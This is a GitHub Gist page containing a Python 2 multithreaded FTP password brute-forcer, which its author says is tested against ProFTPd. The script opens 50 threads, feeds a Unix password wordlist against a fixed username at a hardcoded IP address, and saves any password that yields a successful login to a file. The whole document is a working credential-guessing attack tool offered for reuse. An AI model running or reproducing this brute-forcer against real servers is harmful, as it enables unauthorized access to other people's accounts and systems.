Last active
March 8, 2017 18:38
-
-
Save intrd/021931f0e2ce59691d99dfa8b094c911 to your computer and use it in GitHub Desktop.
intrd's multithread FTP bruteforcer v1.5 (tested w/ ProFTPd anyver)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This tool is deprecated, please use https://github.com/intrd/nozzlr | |
#!/usr/bin/env python | |
## intrd's multithread FTP bruteforcer v1.5 (tested w/ ProFTPd anyver) | |
# @author intrd - http://dann.com.br/ (thx to phillips321.co.uk/2013/08/31/multi-threading-python-a-quick-example/) | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
# int_netcat.py - https://gist.github.com/intrd/00a39c83f752acf81775bfa9721e745a | |
import sys,Queue,threading,hashlib,os,re,string,time | |
from subprocess import Popen, PIPE, STDOUT | |
sys.path.append("../../LIBS/") | |
from int_netcat import Netcat | |
from random import randint | |
local=False | |
user="username" | |
hostt="12.12.12.222" | |
portt=21 | |
if local: #for tersting purposes | |
hostt="192.168.0.106" | |
portt=21 | |
user="asd" | |
WordList=open("../../LIBS/unix_passwords.txt",'r') | |
NumOfThreads=50 | |
resum=0 | |
timeeou=5 | |
t1 = time.time() | |
queue=Queue.Queue() | |
def int_filew(path,text,mode): | |
file = open(path, mode) | |
file.write(text) | |
file.close() | |
def int_throwerr(text,logfile,logfile_msg,logfile_mode): | |
print text | |
# error log file debug, before enabling this, do a: ulimit -n 9999 | |
#int_filew(logfile,logfile_msg,logfile_mode) | |
time.sleep(5) | |
class checkHash(threading.Thread): | |
def __init__(self,queue): | |
threading.Thread.__init__(self) | |
self.queue=queue | |
def run(self): | |
retry=False | |
while True: | |
data="" | |
while not "220" in data: | |
try: | |
nc = Netcat(hostt, portt, timeeou) | |
data=nc.read() | |
except: | |
time.sleep(1) | |
print ".", | |
print(data.strip()) | |
for i in range(3): | |
nc.write("USER "+user+'\n') | |
try: | |
data=nc.read_until(user) | |
except: | |
rands = randint(0,900) | |
int_throwerr("!# ERROR: 1, reconnecting...","errors/errors"+str(rands)+".txt",data+"\n","a") | |
time.sleep(1) | |
retry=True | |
break | |
print(data.strip()) | |
if not retry: | |
try: | |
self.clear=self.queue.get(False) | |
except: | |
print "*** WAIT, CLOSING THREAD!" | |
self.queue.task_done() | |
#print "getted: #"+self.clear+"#" #for debuggin | |
try: | |
passtry = self.clear.strip() | |
except: | |
print "*** WAIT, CLOSING THREAD!" | |
self.queue.task_done() | |
passtry = passtry.split("|") | |
print passtry[0]+":"+passtry[1], | |
if int(passtry[0])%3000==0: | |
int_filew("point.txt",passtry[0]+":"+passtry[1]+"\n","a") | |
pwd=passtry[1] | |
nc.write("PASS "+pwd+'\n') | |
try: | |
data=nc.read() | |
except: | |
rands = randint(0,900) | |
int_throwerr("!# ERROR: 2, reconnecting...","errors/errors"+str(rands)+".txt",data+" "+passtry[0]+":"+passtry[1]+"\n","a") | |
time.sleep(1) | |
retry=True | |
break | |
print(data.strip()), | |
if "230" in data: | |
out = data | |
out += "\n!# PASSWORD RECOVERED: "+user+":"+pwd | |
print out | |
rands = randint(0,9) | |
int_filew("found"+str(rands)+".txt",out,"a") | |
nc.close() | |
t2 = time.time() | |
print "# benchmark %s threads, time=%s" % (NumOfThreads, t2 - t1) | |
os._exit(0) | |
if "530" not in data: | |
rands = randint(0,900) | |
int_throwerr("!# ERROR: 3, reconnecting...","errors/errors"+str(rands)+".txt",data+" "+passtry[0]+":"+passtry[1]+"\n","a") | |
time.sleep(1) | |
retry=True | |
break | |
retry=False | |
#int_filew("bench.txt",passtry[1]+"\n","a") #for debugging | |
nc.close() | |
print "connection closed." | |
self.queue.task_done() | |
for i in range(NumOfThreads): | |
t=checkHash(queue) | |
t.setDaemon(True) | |
t.start() | |
i=0 | |
for word in WordList.readlines(): | |
if i >= resum: | |
queue.put(str(i)+"|"+word.strip()) | |
i+=1 | |
queue.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment